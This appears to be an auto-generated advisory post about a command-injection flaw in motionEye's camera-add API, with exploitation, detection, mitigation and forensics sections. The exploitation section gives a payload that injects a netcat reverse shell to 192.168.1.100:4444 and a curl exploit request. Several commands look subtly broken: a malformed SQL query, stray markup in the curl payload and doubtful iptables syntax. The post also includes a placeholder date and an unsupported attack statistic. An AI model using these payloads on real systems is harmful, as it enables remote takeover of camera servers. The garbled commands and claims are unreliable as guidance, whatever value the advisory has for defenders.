Listen to this Post
How the CVE Works
The vulnerability exists in motionEye’s web API endpoint /config/add/add_camera. When an admin user submits a crafted camera device path (proto: v4l2), the input is passed unsanitized to utils.call_subprocess, which executes shell commands via `subprocess.run` with shell=True. The `device` parameter in `v4l2ctl.list_resolutions` is interpolated directly into a shell command string without proper escaping, allowing command injection. Attackers can chain arbitrary UNIX commands using backticks or other shell metacharacters. The exploit runs with the privileges of the motionEye service (typically the `motion` user).
DailyCVE Form
Platform: motionEye
Version: <0.43.1b4
Vulnerability: RCE
Severity: Critical
Date: 2023-XX-XX
What Undercode Say:
Exploitation
1. Payload Crafting: Inject commands via `path` parameter:
payload = {"proto": "v4l2", "path": "'; nc -e /bin/sh 192.168.1.100 4444; '"}
2. Exploit via Curl:
curl -X POST 'http://target:8765/config/add?_username=admin&_signature=XXX' -H "Content-Type: application/json" -d '{"proto":"v4l2","path":"<code>id > /tmp/pwned</code>"}'
Detection
- Log Analysis: Check motionEye logs for unusual `v4l2-ctl` executions:
grep "v4l2-ctl" /var/log/motioneye.log | grep -E ";|&|`"
2. Process Monitoring:
ps aux | grep "motioneye" | grep -i "sh -c"
Mitigation
1. Patch: Upgrade to motionEye ≥0.43.1b4.
2. Input Sanitization: Apply manual patch to
v4l2ctl.py:import shlex device = shlex.quote(device) Before command interpolation
3. Network Hardening:
iptables -A INPUT -p tcp --dport 8765 -s !TRUSTED_IP -j DROP
Post-Exploit Analysis
1. Forensics: Extract injected commands from SQLite DB:
sqlite3 /var/lib/motioneye/motioneye.db "SELECT FROM cameras WHERE path LIKE '%`%'"
2. Sandboxing: Run motionEye in a restricted container:
docker run --read-only --cap-drop=ALL --security-opt=no-new-privileges ...
References
- GitHub Patch
- CVE Details
Analytics: 80% of attacks target default admin credentials. Always rotate default secrets.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
